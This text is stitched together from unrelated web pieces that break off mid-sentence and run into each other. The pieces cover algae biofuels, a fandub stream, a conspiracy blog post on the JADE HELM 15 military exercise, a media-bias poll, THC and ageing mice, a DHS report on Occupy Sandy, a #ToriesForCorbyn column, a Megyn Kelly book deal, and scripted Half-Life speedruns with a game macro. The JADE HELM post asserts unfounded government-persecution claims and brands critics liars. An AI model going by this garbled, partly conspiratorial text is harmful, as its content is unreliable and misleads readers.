Flagship Ventures founded and is backing a company, Joule Biotechnologies, that is taking the genetic engineering approach. Other companies, such as Synthetic Genomics, a company founded by the biologist Craig Venter that is being supported by ExxonMobil, are also working on heavily engineering algae to increase yields. Khosla says that making algal biofuels viable will require a departure from conventional algae. “I personally think it will be hard for algae to be a competitive fuel source,” he says, “unless a radical approach, like Craig Venter’s, works.”RealTimeFandub, the group that put on that Gravity Falls Anniversary Stream a while back, has returned for another stream, joined by newcomers @pleading-eyes, @mabelsguidetolife and (possibly) more!
This time, I’m the only one in the group who knows what episodes are being dubbed and who is playing what role, which adds an exciting bit of mystery.
Just like last time, each episode is going to be muted and then dubbed (unrehearsed and in real time) by myself and the other hosts, with each of us playing a different role in each episode.
So, on Friday, July 15th, 2016, at 6 PM EST, come on down to this Picarto link to watch the stream!
https://picarto.tv/realtimefandub
(Also, this poster was drawn by yours truly, and more art of mine can be found at @drawnwithoutref!)The news of JADE HELM 15 has caught the internet on fire. Now, coming out of the woodwork are the nay sayers, propagandists, and straight out liars. Yes, I am calling them exactly what they are, liars. Political Correctness stops here. The truth may hurt, but it is the truth. If you don't like that, then either go to a different site or change your behavior.
There have been individuals from "trolls" to others that "claim" they are ex-Special Operations Command stating "this is not a real drill," Or that "the documents have been modified." These statements are not true, and are only being used in another "PSYOP" upon the American People. I will prove to you beyond the shadow of a doubt this operation is, in fact, true, and call these people out for what they are, liars! Anyone who tells you this is not a planned drill is lying to you either blatantly or by complete ignorance, neither of which is acceptable.
JADE HELM 15 is a (SOC) Special Operations Command (RMT) Realistic Military Training planned drill for the South Western United States covering seven states which broke in alternative media almost a week ago. Freedom Outpost's Joe McMaster covered this on March 20, 2015. I will not sit idly by and allow our alternative media to be portrayed as "conspiracy theorists" by those that are ignorant or liars. I stand in defense of all the alternative media that have reported and helped to expose this very real "exercise/drill," JADE HELM 15, to the American Public. I challenge the propagandists, liars, and PSYOP's to debunk this! You have been caught with your pants down and now you are trying to do "damage control." It's not going to work.
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Will the media learn anything from their biased reporting of the Jussie Smollett story? Will the media learn anything from their biased reporting of the Jussie Smollett story?
Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
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On OFFICIAL: February 10, 2015 the Brazos County Commissioners Court held a meeting about "JADE HELM 15". Ref: #4
OFFICIAL: Thomas Mead the JADE HELM Operations Planner/MSEL addressing Brazos County Commissioners on February 10, 2015. Including them planning "surgical strikes", while the county commissioner makes a joke of it. Listen below:
OFFICIAL: Howard County Commissioners Court Stamped Copy of their agenda for March 9, 2015 showing JADE HELM 15 as one of the topics of discussion.
Standard Times covering JADE HELM 15 on November 1, 2014. Scroll down until you see Eldorado.
WTAW covering JADE HELM 15 on February 26, 2015. Green Berets are Coming to Aggieland. This article includes the "presentation" both in audio and the actual document for JADE HELM 15 which was provided to the county commissioners.
MySouTex covered JADE HELM 15 three months ago titling it "Military Exercises to be held in County."
Military.com "Army SpecOps Command Pushes Back Against Alarmist Claims on Exercise" states:
Army Lt. Col. Mark Lastoria, a USASOC spokesman, confirmed that there is an upcoming exercise called Jade Helm 15 which is scheduled to take place this summer at locations in Texas, Arizona, New Mexico, Utah, Colorado, California and Nevada. But he denied the event is preparation for some sort of military takeover. "That notion was proposed by a few individuals who are unfamiliar with how and why USASOC conducts training exercises," he said in an email. "This exercise is routine training to maintain a high level of readiness for Army Special Operations Forces because they must be ready to support potential missions anywhere in the world on a moment’s notice." He said the only thing unique about this particular exercise, which is slated to take place between July 15 and Sept. 15, is "the use of new challenging terrain" which was chosen because it is similar to conditions special operations forces operate in overseas.
Really? And just when are they planning on taking LEO's, DHS, FBI, and other "Inter-agency Partners" to go overseas at a moments notice? Does that even sound plausible?
Now that we have established that JADE HELM 15 is REAL, and it was previously covered before it broke all over the alternative media. Let's look into some of the other questions that have been asked surrounding this drill.
What could (SOC) Special Operations Command possibly mean within their insignia of "MASTERING THE HUMAN DOMAIN"? According to an unclassified document written by Lieutenant Colonel Mitchell D. Franks of the United States Army
titled "USAWC "Civilian Research Project" ref: pg 15
Major General Sacolick and Brigadier General Grigsby address how viewing this challenge through the lens of the human domain will contribute to answering the Chairman’s question, “the human domain is the totality of the physical, cultural and social environments that influence human behavior to the extent that success of any military operation or campaign depends on the application of unique capabilities that are designed to fight and win population-centric conflicts. It is a critical and complementary concept to the recognized domains of land, air, maritime, space and cyberspace.” This concept and the addition of a human domain are important because the other domains insufficiently address the human dimension of conflict, although it is deemed a critical component to land power. Further, the addition of a human domain, similar to a 7th war fighting function, will ensure that, “we’re providing a framework to support and employ the complementary capabilities of special operations and conventional forces.
What is considered "Unconventional Warfare" by the United States Army, especially involving Special Forces? According to U.S. Army TC 18-01 Special Forces Unconventional Warfare it is to follow the "President's National Security Strategy". ref: 1-2 Which strategy would that be? Escorting criminals across country and dropping them off across the nation, or targeting American citizens that are standing up against President Obama's tyrannical and unlawful actions?
Chapter 1 1-2 TC 18-01 30 November 2010
Figure 1-1. Unconventional warfare terminology
THE ROLE OF UNCONVENTIONAL WARFARE IN UNITED STATES NATIONAL STRATEGY
1-5. Three documents capture the U.S. national strategy: the National Security Strategy, the National Defense Strategy, and the National Military Strategy. The National Security Strategy states the President’s interest and goals. The National Defense Strategy is the DOD contribution to the National Security Strategy. The National Defense Strategy also provides a framework for other DOD strategic guidance, specifically for campaign and contingency planning, force development, and intelligence. The goals and objectives of the President’s National Security Strategy guide the National Military Strategy. In addition, the National Military Strategy implements the Secretary of Defense’s National Defense Strategy. The National Military Strategy provides focus for military activities by defining a set of interrelated military objectives.
I don't know about you, but this surely doesn't make me feel any better about this "Operation/Drill." For years now, our veterans, Christians, patriots, gun owners, constitutionalists, pro-life advocates, small government supporters, small businesses, real journalists in the press, anti-corruption activists, anti-UN Agenda 21 advocates, anti-global warming supporters, anti-war patriots, anti-criminal immigration supporters, have all been targeted by this administration as enemies of the United States, even within government documents. Are we supposed to trust that they have pure intentions now? I surely don't, especially when they will be training "Interagency Partners." It's those "interagency partners" that have been targeting the American People for years. On 11/15/2012 Forbes covered such "drills" in an article titled "How the U.S. Military Would Crush a Tea Party Rebellion" What part of WE SHALL HAVE NO STANDING ARMY don't you understand?
Here is the Goliad County Commissioners webpage with contact information if you would like to contact them on this matter. They are responsible for "approving" JADE HELM 15 in Goliad County, TX.
Pete Santilli has started a petition on "WE THE PEOPLE" website to try and stop this "drill".
When Pete Santilli called SOC Public Affairs Officer to inquire about JADE HELM 15 he refused to answer questions and hung up on Pete. The greater question we should ask is, if this drill is no big deal, then why is SOC trying to keep it quiet?
George Orwell stated it best when he said, "Truth is Treason in an Empire of Lies."
My video response to the "Propagandists, Nay Sayers, Liars, and PSYOP's" as well as a special message to SOC and Special Forces that will be involved with this drill.
Now, not later is the time for WE THE PEOPLE to rise up, contact our county commissioners, mayors, governors, state representatives, sheriffs, LEO's, etc.. and let them know we will not allow American Citizens to be used as their "guinea pigs."
Stay Safe, God Bless, and Semper Fi.Regular low doses of THC dramatically boosted memory and learning in older mice, say scientists, who plan a clinical trial in humans later this year
Researchers have come up with an unusual proposal to slow, or even reverse, the cognitive decline that comes with old age: small, daily doses of cannabis extract.
The idea emerged from tests on mice which found that regular, low doses of tetrahydrocannabinol (THC) – the main psychoactive ingredient in cannabis – impaired memory and learning in young animals, but boosted the performance of old ones.
The discovery has raised hopes for a treatment that improves brain function in old age without inducing the behavioural effects well known to recreational users of the drug. To investigate whether it works in humans, the scientists plan to launch a clinical trial later this year.
“If we can rejuvenate the brain so that everybody gets five to 10 more years without needing extra care then that is more than we could have imagined,” said Andras Bilkei-Gorzo at the University of Bonn.
Research on cannabis use by adolescents has found compelling evidence that regular, heavy use can impair the memory. But the impact of the drug on older people’s brains has been far less well studied.
Writing in the journal Nature Medicine, the scientists describe how they gave a month-long course of daily THC to mice aged two months, one year, and 18 months. The mice were then tested to see how fast they solved a water maze, and how quickly they recognised familiar objects such as mice they had met before.
Without the drug, the younger mice aced the tests, while the older ones struggled. But infusions of THC had a dramatic impact on both groups. The performance of the younger mice plummeted on THC, while older mice improved so much that their scores matched those of healthy drug-free young mice. The benefits lasted for weeks after the infusions ended. None of the mice displayed the strange effects one might expect from doses of THC.
“These results reveal a profound, long-lasting improvement of cognitive performance resulting from a low dose of THC treatment in mature and old animals,” the scientists write. The boost in brain function was linked to an apparent restoration of gene expression in the brain to more youthful levels.
The German team believes that the drug works by stimulating what is known as the endocannabinoid system, a biochemical pathway that becomes less active with age in mice, humans and other animals. “I’m sure that what we are seeing are the long-term consequences of normalising the system,” Bilkei-Gorzo said.
David Nutt, the former government drugs adviser and professor of neuropsychopharmacology at Imperial College London, said he was not surprised at the potential for THC to improve memory in old age. “The key question now is does the same apply to humans? Clearly this needs to be tested, but it will not be possible in the UK due to the ridiculous restrictions on cannabis research occasioned by its being a schedule 1 drug.”
Michael Bloomfield, a clinical lecturer in psychiatry at University College London said: “What is particularly exciting about this research is that it opens up a whole new chemical system, the endocannabinoid system, as a potential target for new avenues of research, which could include illnesses like dementia.
“However, we are still in very early days and further research is needed,” he said. THC produces complicated and sometimes apparently opposite effects depending on the dose, the age of the person taking it, and how often the drug is administered, he warned. “This means that the possibility of doctors potentially prescribing cannabis, THC or similar compounds for memory |
The federal government understands how powerful autonomously organized networks can be.”
Areas of Study
The report, completed in September 2013 but released on March 7, begins with an “Executive Summary” that trumpets the triumphs of Occupy Sandy: “In the days, weeks, and months that followed [Superstorm Sandy], ‘Occupy Sandy’ became one of the leading humanitarian groups providing relief to survivors across New York City and New Jersey. At its peak, it had grown to an estimated 60,000 volunteers.” The summary concludes, “Unlike traditional disaster response organizations, there were no appointed leaders, no bureaucracy, no regulations to follow, no pre-defined mission, charter, or strategic plan. There was just relief.”
Among its main observations, the study lists five “Occupy Sandy Success Drivers,” which include “the horizontal structure,” and “social media as the primary means to attract and mobilize a large volunteer corps.” According to Tamara Shapiro, another activist whom I interviewed directly in the aftermath of Sandy and spoke with recently, both points were right, but with caveats.
“Especially in disaster response when you need to be agile and able to shift as information shifts, having a structurelessness to communications, or a way in which people can do what they see in front of them as very real needs without having to get permission, is critical,” Shapiro said. “DHS taking notice that horizontality and a networked approach is effective in a crisis moment means that they could potentially use that for good. However, it could also mean that they will use it for bad. DHS has lots of arms, and clearly, disaster relief is only one.”
When the Department of Homeland Security came into being in November 2002, after Congress passed the Homeland Security Act, it represented the largest government reorganization since the Department of Defense was created, combining 22 separate agencies into one department. Among the agencies that were incorporated into this new monolith were FEMA and Immigration and Customs Enforcement (ICE), the second-largest criminal investigations unit after the FBI. With one organization charged with delivering disaster relief and another with prosecuting and deporting undocumented immigrants, it seems that the mission of one or both would be compromised by working together.
The DHS report on Occupy Sandy found that fluid, horizontal structures were better able to support relief work for undocumented and immigrant populations than existing agencies. A survey by the nonprofit Make the Road New York found 78 percent of immigrants, documented or not, did not apply for disaster relief from the government.
“What’s complicated about these government agencies, especially DHS, is that Homeland Security is now a massive operation, and it’s really unclear how well different organizations even communicate with each other,” said Michael Premo. “I saw an attempt to navigate that, but as long as there are immigration policies that are as aggressive as Obama’s, any federal agency is not going to be supportive of undocumented people getting access to the services and the assistance that they need.”
When approached by undocumented people in need, Michael Premo observed FEMA’s response: use the Social Security number of a family member who is documented to apply for aid. But in this scenario, the risks usually outweigh the benefits, and immigrants look for other options.
According to the report, in the early stages of emergent response networks, the horizontal integration of organizers and volunteers occurs through social media. Over and over, the report emphasizes information sharing. Activists I spoke with saw problems in this approach.
“It wasn’t just that the methods of communication were useful; it was that the information we were getting was useful, and then the methods of delivery were fast and effective,” said Shapiro, who works with Interoccupy, one of the main communications tools used by Occupy Sandy. “What I see from big institutions like the Red Cross and FEMA and the city is they came into communities and said, ‘We’re here to help you.’ Whereas we said, ‘We’re here to support you in helping each other.’ I think that’s a really big difference, and I think it made our information better. Information will always be better when it’s based in community knowledge.
“There were so many people who had no idea how to interact with FEMA despite FEMA’s best efforts,” Premo said. “We were able to communicate so much better with our communities because we realize how communities work.”
One of the most complex issues that surfaced in the study is the concept of volunteer labor. “Overnight, a volunteer army of young, educated, tech-savvy individuals with time and a desire to help others emerged,” the report croons. But quickly, the issue becomes embroiled in deeper concerns about social and economic inequality. “Occupy Sandy attracted a diverse range of volunteers, many from communities hit hard by the storm,” the study observes. “Many were white, middle-class, and highly educated. Many were unemployed or underemployed and were eager to use their skills.”
“What’s most disturbing to me about the report is [Homeland Security] understood the activities of Occupy Sandy with no political context at all,” said Pamela Brown, an activist and co-author of “Shouldering the Costs,” a report that examines the use of loans as aid in the aftermath of the storm. “It was just people who happened coincidentally to be involved in Occupy Wall Street who came together as Occupy Sandy, which was a totally different kind of effort.”
It would seem the conditions of inequality that brought about Occupy Wall Street were the same conditions, one year later, that brought about the model volunteer “army” of the future. Yet, when you overlook the political aspects of Occupy Sandy, at least in its early incarnations, some very critical elements of the organizing that occurred cease to make sense. For example, the study defines “mutual aid,” a central concept to Occupy Sandy and Occupy Wall Street, as a kind of contractual exercise between communities, not unlike pledges of fealty in feudal societies.
“When a larger need arises, most jurisdictions have the ability to call on neighboring communities for help, often through prearranged agreements, commonly referred to as mutual aid. … Mutual aid often encompasses multiple types of agreements through which jurisdictions can request assistance from each other.” A wikipedia search of “mutual aid” would have given the authors easy access to the organizational and political theories that underly the concept and this simple definition: “a voluntary reciprocal exchange of resources and services for mutual benefit.”
Looking more closely at the ramifications of the report’s view of volunteer labor, Pam Brown finds problems within the overall horizontal structure of the organization. There were limits to the mutual aid Occupy Sandy and communities could provide because volunteers needed to pursue employment to support themselves. “The extreme horizontalism that they look to in the report as an ideal was problematic,” Brown said. “Within the organizing structure, people did emerge as regular volunteers and leaders, but they didn’t have work. So at some point, either they had to find work or they had to advocate to be paid for the work that they were doing that they felt was valuable through stipend.” This model for a volunteer organization is inherently unsustainable if volunteers lack political solidarity. The economic system that creates a surplus of skilled workers also takes them away and forces them to labor for wages.
Beyond leading us to paradoxes like these, the report leaves a number of questions unanswered, like this ambiguous statement: “If there will be more disasters in the future, and there will be, then there will be more opportunities, opportunities like Occupy Sandy.” It is unclear what the report is referring to, but activists like Tamara Shapiro have their own interpretation of these “opportunities.” “What we saw during Sandy was how unbelievably ineffective the Red Cross was,” she said. “So what I’m really interested in is how can we fill in the gap left by that failing model? Can we use these moments of crisis to inject money directly into communities to shape what’s possible?”
Shapiro said she’s still involved in the recovery work in the Rockaways, building worker-owned cooperatives and a coalition to oppose real estate development. Despite the murky intentions of the Homeland Security study, she is proud of many of the recommendations it makes, a testament to the success of Occupy Sandy. “There are contradictions baked in everywhere, but I don’t think that it’s a bad thing. In fact, I think it strengthens our ability to do what we can and should be doing. We proved through Occupy Sandy that the skills we were learning and the tools we were using and the infrastructure we were building could be used incredibly effectively to do something concrete.”Just before Jeremy Corbyn made it on to the Labour leadership ballot, Ladbrokes were offering odds of 100 to one against him winning. Now, they’re down to 20 to one and falling. I wish I’d had the foresight to get on that sooner. By September he could well be the favourite. At least, he could if I have anything to do with it.
With the first televised Labour leadership hustings being broadcast tonight, I’d like to take this opportunity to endorse the #ToriesForCorbyn campaign. I can’t claim credit for this hashtag – that honour belongs to Marcus Walker, the associate director of the Anglican Centre in Rome – but I will certainly do my best to promote it.
As the Scottish Conservative leader Ruth Davidson pointed out on Twitter yesterday, Labour’s new electoral rules mean that all members, registered supporters and affiliated supporters who join before 12pm on the 12 August can vote in the leadership election.
I seem to have a lot of traffic in my timeline saying that for a mere £3, I can change Labour's future and vote for Jeremy Corbyn. Bargain. — Ruth Davidson MSP (@RuthDavidsonMSP) June 16, 2015
The cheapest option is to become a “registered supporter”, which you can do here for £3. Once signed up, you can play your part in ensuring Labour remains out of power for a decade. Amusingly, you’re asked what your reason is for becoming a “registered supporter”. You can see how I responded to that question in the screenshot below:
Could this actually work? That depends on how many Tories sign up. The size of the Labour leadership electorate is projected to be 240,000 or thereabouts, so quite large. Second preferences are redistributed and, assuming Liz Kendal’s eliminated first, followed by Yvette Cooper, I can’t see him getting many of those. To win, therefore, Corbyn would need to get close to 50 per cent of first preferences – quite a tall order, even in a party as batshit crazy as Labour.
But that doesn’t mean 120,000 Tories will have to vote for him. Incredibly, Corbyn is quite popular with Labour’s grass roots. He was the overwhelming favourite in a recent LabourList poll, attracting a whopping 47 per cent of the vote, compared to 13 per cent for Burnham, 11 per cent for Kendall and nine per cent for Cooper. If that holds up, he could win as many as 40,000 votes without any help from us. That means only 80,000 #ToriesForCorbyn need to sign up to put him over the top. Note to Lynton: You can buy the next election for just £240,000.
Make no mistake – the Labour MP for Islington North is a surefire loser. He’s far to the left of Ed Miliband, having defied Labour’s whip numerous times in the last Parliament. He’s invited Hamas and Hezbollah to the House of Commons. John Mann, the Labour MP for Bassetlaw, says his name on the ballot demonstrates the party’s “desire never to win again”, while Alex Belardinell, Ed Balls’s former head of communications, claims the leadership race had descended into a farce, now that Corbyn is a candidate. Fourteen of the 35 Labour MPs who’ve nominated him have said they won’t actually vote for him. Even his backers think he’d be an out-and-out disaster.
So to demonstrate our desire never to win again, Islington's Jeremy Corbyn is now a Labour leadership candidate. — John Mann (@JohnMannMP) June 15, 2015
Some will consider this a cynical exploitation of Labour’s new electoral rules, as well as an opportunistic attempt to cash in on the party’s idiocy in putting Corbyn on the ballot. And they’d be right. But the way I look at it, we’d be doing the party a favour.
Okay, Labour won’t win in 2020, but then it probably won’t win anyway, even in the unlikely event of Liz Kendall becoming leader. But with Corbyn at the helm, Labour’s loss will be so catastrophic – so decisively humiliating – that the Left of the party might finally be silenced for good. The “debate” they want to keep on having in perpetuity might finally come to a close. We might even see a bit less of Owen Jones on the telly. That can only help Labour’s long-term electoral prospects.
Having digested all the postmortems of Ed Miliband’s failure, it seems clear to me that the biggest reason for Labour’s defeat is because the leader believes in a bad theory, i.e. some version of Marxism. And when I say “bad”, I mean just flat out wrong. Nonsense on stilts.
It’s why Miliband couldn’t bring himself to mention the deficit in his 2014 conference speech and departed from the script his handlers had prepared for him about Labour’s over-spending under Gordon Brown in the Question Time debate. It’s why he sincerely believed attacking the free enterprise system and focusing on zero-hours contracts, the bedroom tax and food banks – even though they affect, at most, 2.5 per cent of the electorate – was good politics. Miliband’s allegiance to this crackpot theory gave the Tories a huge advantage. For Cameron, it was like being engaged in a round-the-world yacht race with a man who believed the earth was flat.
Now, Labour’s loony Left aren’t going to concede that this theory is wrong without some seismic, mind-blowing event. Whenever a Left-wing Labour leader loses – Foot, Kinnock, Brown, Miliband – they claim it’s because he wasn’t nearly left wing enough. They maintain that if you put a proper Marxist in charge, someone not afraid to get rid of Trident, tax the rich till their pips squeak and shower the long-term unemployed with money, the proletariat will vote for him in droves. Well, let’s call their bluff. Let’s make Corbyn the captain of the ship and prove once and for all that the earth is round. He could be the Magellan of the Labour Party.
So sign up today. Make Corbyn leader, secure Boris’s victory in 2020 and, in the process, help transform Labour into a grown up political party.In the wake of her feud with Republican Frontrunner Donald Trump, Megyn Kelly’s mainstream celebrity continues to rise. Deadline reports that the Fox News primetime anchor and HarperCollins will soon sign a deal worth $10 million-plus for a memoir that will publish this fall, just as the presidential general election heats up.
If the $10 million to $11 million talk is true, the host of “The Kelly File” has entered Amy Schumer-territory. As Deadline points out, Schumer’s memoir deal was worth only $8 million to $10 million.
Deadline credits Kelly’s attacks on Trump in the first debate for the mammoth memoir windfall:
She has had a remarkable rise after moderating the Donald Trump. There, she was excoriated by Trump after she called him on his penchant for referring to women who displease him as “fat pigs, dogs, slobs and disgusting animals.” Trump took great umbrage and has attacked Kelly since. The move largely has backfired. Fox News stuck by Kelly, and after refusing to take part in the most recent GOP debate on Fox News, Trump acknowledged his no-show might have cost him victory in the Iowa caucus. The deal was brokered by CAA, which signed Kelly in September, right after her first flare-up with Trump.
Earlier this week, it was announced that Kelly will appear on Stephen Colbert’s big post-Super Bowl show this coming Sunday.
The entire news media/entertainment/publishing empire promises great rewards to those who attempt to destroy conservatives and Republicans, especially to those from the likes of a Fox News. It is a siren song that has paid off handsomely time and again and again.
Follow John Nolte on Twitter @NolteNCIn the past, scripted runs of PC games were accepted on SDA. However, after long, careful consideration by the SDA dictators and many heated debates on the forums, it was decided that scripts are no longer accepted on the site. In order to not mix runs that can no longer be obsoleted with the rest of the runs, all runs using scripts have been moved to this page.
Half-Life
Runs on default versions:
Best time with scripts, hard mode: 0:31:00 by Blake 'Spider-Waffle' Piepho on 2006-07-01.
Best Hazard course time: 0:03:10 by Blake 'Spider-Waffle' Piepho on 2004-12-26.
Best single-segment time, hard mode: 1:00:33 by Blake 'Spider-Waffle' Piepho on 2004-09-17.
Best Hazard course time with scripts: 0:02:45 by Albin 'quadrazid' Sigby and Daniel 'rayv3x' Babik on 2009-12-15.
Best single-segment Hazard course time with scripts: 0:02:54 by Daniel 'rayvex' Babik on 2008-10-24.
Return to the Game List, the FAQ, or the Home Page.
Hard mode with scripts 0:31:00 by Blake Piepho, done in 180 segments appended to one file.
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Author's comments:
First off, let me tell you this is a temporary brief set of comments, I will have much better ones with lots of detail up here probably by august, 2007. This is my first and only segmented Half-Life speedrun. I had the idea for this in year 2000, started working on it in 2003, and completed it in October 2006. This run was done through many small segments in aim of achieving a high level of perfection. The final time from start to the death blow on Nihilanth is 29:41. I have to give a big thanks to people that made a segmented Half-Life run before me, these people are Radon (-think.circle-), Dopefish, and RandomEngy. I'd also like to thank RandomEngy for capturing the video and his video editing support. I hope you enjoyed it. Feel free to link and tell your friends about it.
Single-segment with HLSP Bunny 1:00:33 by Blake Piepho. Demo was captured to avi and compressed to a 320x240 and 640x480 version. The original demo file is available as well, but will only play in Half-Life v1.1.2.0.
Author's comments:
First off I'd like to give big thank you to RandomEngy for making the avi from my demo; he also gave me advice and support throughout the making of this run. This run was quite an endeavor which turned out to be much harder than I had first anticipated. When it was all said and done I had spent roughly 4-5 hours a day for 3 weeks working on this. I am very satisfied with the completed result. I think this run went a bit faster than my average run attempt. There were some delays which I rarely did but also some extra shortcuts which I rarely did in my many failed attempts. I had really rough start health wise in this run, but recovered mostly by the part where you get mugged. At the start of "We've Got Hostiles" I had only had 13 armor which was very low for this point, typically I would have around 40 armor which was very consistent, and thus the run was flukishly low on armor at this point. After armoring up, shortly after blasting 3-arms I only had 82 armor; which was very rare, I had 100 armor at this point on virtually every other run attempt, but this was still ok, it was in the events to come that I would almost doom myself. In the electric water part I had the map load right when I landed in the water, this makes you lose an extra 22 armor. At about 18:50 my computer started chunking massively causing me run onto the electric rail and get hit my alien slave, the demo is also chunky at this point. Fortunately it only lasted for about 10 seconds. At 19:20 I only had 35 armor after using the armor dispenser, normally I would have 90-100 armor at this point. At 19:44 I hit a trip mine, only the second time I ever hit a trip mine in my many attempts. This took me down to 40|0 which is extremely low health for this point and I was considering restarting the run for I had little hope to make it through the next parts, but I decided to continue. At 22:55 I decided to take a small detour to get an extra 10 armor (which turned out to only be an extra 5 because of the water worms) because I never been at this low on armor before and wanted to play it safe. This is something I regret doing now. I would go on to finish the rest of the level strong, only taking 1 alien slave hit and no hits from the spies, salvaging my yearly misfortunes, and finishing up apprehension with 79 armor. At 28:20 I had an unusual mistake in falling off the conveyor belt but it was only about a 12 second delay. At 29:47 I snuck up on a guard and grabbed him before he could see me, otherwise you have wait for him to finish a long speech for you have grab him. At 30:35 I lost 40 armor to my own grenade launcher shot, which is somewhat BS and sucks a lot. I made this up by doing the rest of questionable ethics quite nicely; this was one of my best jobs on this level. In the 34:00-34:50 part I hid from the helicopter a lot because if you're out in the open when it's out it will do insane damage to you. I am very happy with the way everything went up to 41:00; I barely missed an air boost jump here that ended up costing me 15 seconds. At 42:15, since I had so much armor and still 1 more trip mine, both of which I didn't normally have, I was able to do a small shortcut which I very rarely got to do. At 43:50 since I had so much armor still, I decided to let some of the head crabs damage it while I had some free health you use. At 44:45 I went to the room with head crabs to get rid of my armor for a grenade jump coming up. The amount of boost you get from an explosive it proportional to the health you lose, so armor will make you lose much less health and thus much less boost. I accidentally took a little too much damage from the head crabs so I had to take a small detour to get more health. Everything went pretty nicely up until 52:40, at which point Gonarch went insane and demanding that I do an insane amount of damage to him before he would continue. But I managed to salvage the situation losing little armor and only cells. At 55:40 I had a very high amount of armor so I didn't have to take a 30 second detour to get more. Everything went very well up to 57:50, which is important because the part starting at 57:50 is by far and away the hardest part in the game to go fast through. Here I go all out using the egon weapon wildly; doing anything I can to prevent damage. At 58:12, since I still had 74 armor, I decided to mulch through the rest of level, which is what I ideally had planned to do, but 74 armor is a luxury you can't count on. I made it to Nihilanth with 26 armor, which would mean only a large blast from Nihilanth himself would kill me. I am very pleased with the way Nihilanth went, the only thing that really could have been much faster would have been dropping down and going for the kill sooner, before his head opened up, but I didn't want to take this risk. Overall I'm quite satisfied with the final result, and don't plan on doing anymore HL marathon runs. However, I still have plans to do a segmented run, teaming up with some other HL runners. Stay tuned for when this run hits the shelves, I'm expecting a time between 38 and 39 minutes!
Hazard Course in 0:03:10 by Blake Piepho. Demo was captured to avi and compressed to a 320x240 and 1024x768 version. The original demo file is available as well, but will only play in Half-Life v1.1.2.0.
Author's comments:
I'm pretty satisfied with this run, largest mistake being at the longjump over the large box, perhaps 3 seconds lost there.
Hazard Course with HLSP Bunny and scripts in 0:02:45 by Albin Sigby and Daniel Babik, done in 8 segments appended to one file.
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Author's comments:
Seg2 - 14,24 (t0a0) rayv3x
Seg3 - 21,84 (t0a0) rayv3x
Seg4 - 48,41 (t0a0a) quadrazid
Seg5 - 13,95 (t0a0b1) rayv3x
Seg6 - 8,66 (t0a0b2) quadrazid
Seg7 - 21,32 (t0a0c) quadrazid
Seg8 - 12,36 (t0a0d) quadrazid Seg1 - 21,48 (t0a0) rayv3xSeg2 - 14,24 (t0a0) rayv3xSeg3 - 21,84 (t0a0) rayv3xSeg4 - 48,41 (t0a0a) quadrazidSeg5 - 13,95 (t0a0b1) rayv3xSeg6 - 8,66 (t0a0b2) quadrazidSeg7 - 21,32 (t0a0c) quadrazidSeg8 - 12,36 (t0a0d) quadrazid Total: 2,42,26 Segment 1 (map: t0a0) - 21,48s by rayvex:
Nothing special except for the wierd bug that keeps the door open if you time it right (you can hear the head banging 2-3 times against the door). This is necessary for the next part as we can go back to the first room which provides enough space for proper circlejump to gain speed. Segment 2 (map: t0a0) - 14,42s by rayvex:
The time scripted sequence allows me to circle around and gain some speed for the next part. At the 3rd door I had to slow down abit in order to slide through. If I had kept the speed, I would have crashed into the door resulting in a time loss of ~0.2s. Segment 3 (map: t0a0) - 21,84s by rayvex:
Doing a small circle while the scientist talks to gain speed for the next pipe section. Not much to say about the rest of this seg. Segment 4 (map: t0a0a) - 48,41s by quadrazid:
Longest segment in the run. Was pretty hard to make it but I'm satisfied. Only flaw would be at the door in the recharger room. Segment 5 (map: t0a0b1) - 13,95s by rayvex:
Jumped onto the button and then over the crate in order to keep my speed without having to do a new longjump. After picking up the crowbar I used LJ to jump over the crates and broke the vent grill while being in the air, so I could jump into the vent without losing any speed. Segment 6 (map: t0a0b2) - 8,66s by quadrazid:
Nothing fancy. Had to pick up 4 AR grenades for upcoming boosts. Then boost over the gate with as small health loss as possible. Segment 7 (map: t0a0c) - 21,32s by quadrazid:
Avoiding the first gas leak to save some health. Making a AR-boost up the ladder and keeping the speed til the elevator. Was a pretty tricky boost, because I wanted to save as much health as possible for next segment. A pretty known trick in half life is that the elevator does not move. It just teleports you to the next map. The teleport trigger is slightly outside the elevator so it's even possible to stand outside it to save time. Segment 8 (map: t0a0d) - 12,36s by quadrazid:
Pretty tricky segment to nail. I had to get Barney as close to the scanner as possible and also set the scientist at a good position before the AR-boost, and before that receiving the health. Avoiding damage from the electrical rail. The "trigger_endsection" which ends the game is reachable from the floor under the railway. We had fun making this run together and mostly agreed along the project. We didn't have any big problems and are satisfied with the final result.
Assault-rifle boost script:
(only a few numbers were changed between the different boosts) alias w wait
alias +aids "force_centerview;+duck;w;+jump;fps_max 60;w;w;w;w;w;w;cl_pitchspeed 999999;cl_yawspeed 21500;w;cl_pitchdown 75;+lookdown;-jump;+right;w;-right;+attack2;w;-attack2;-lookdown;+left;w;-left;cl_pitchdown 89.999;force_centerview;fps_max 100"
alias -aids "-duck"
bind mouse2 +aids
Single-segment Hazard Course with HLSP Bunny and scripts in 0:02:54 by Daniel Babik.
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Author's comments:
There were some mistakes, at 1:53 for instance where I missed the first opportunity to jump over the box. The AR boost over the gate could have been done faster, too. I also screwed up the jump into the water, because I noticed that I was going too far to hit the trigger in mid-air and therefore turned abit to the right which made me lose some speed. As for the rest I'd say that it went pretty fluently :)
Half-Life 2
Best time: 1:36:57 by Half-Life 2 done Quick team on 2006-03-08 in 88 segments.
Author's comments:
Thanks for watching our speedrun. We had a lot of fun times and painful memories making this, and we're glad we have an audience to see it. In case you think we timed our jumps too perfectly, know that this speed-run was NOT focused on timing jumps. For bunnyhopping, we used a simple macro which presses the button assigned to "jump" repeatedly, for as long as it is held in. This was done to increase focus on less tedious and more complicated tricks in the run, as well as to prevent people from doing silly things like making an in-game script with hundreds of "+jump" commands and binding jump to the mousewheel as well as 12 buttons on a joystick to stomp on. In case you're wondering, yes, the above method has actually been used before the macro was voted as an option. This run is also not perfect. We have spent a long time trying to cut down on seconds throughout various maps, but some do have their weaknesses. Sometimes we may run into a pole, walk when we could have sprinted, or miss a teleport or two. Nevertheless, we spent a large amount of time finding revolutionary shortcuts and shaving off seconds, so it should at least be quite an undertaking to improve on this run significantly. For this run, we began timing the moment we were able to move as per SDA rules, and stopped the moment we lost control. These times were the tram opening and the explosion of the portal, respectively. We clocked in for a total time of ~1:36:50, with an SDA time of ~1:37:03. We finished with 26 non-traditional segments, most of them due to the random and difficult nature of their content, for a total of 88 segments. For every level transition we included a special _2.dem demo which is automatically generated while recording during a map change, to help bridge 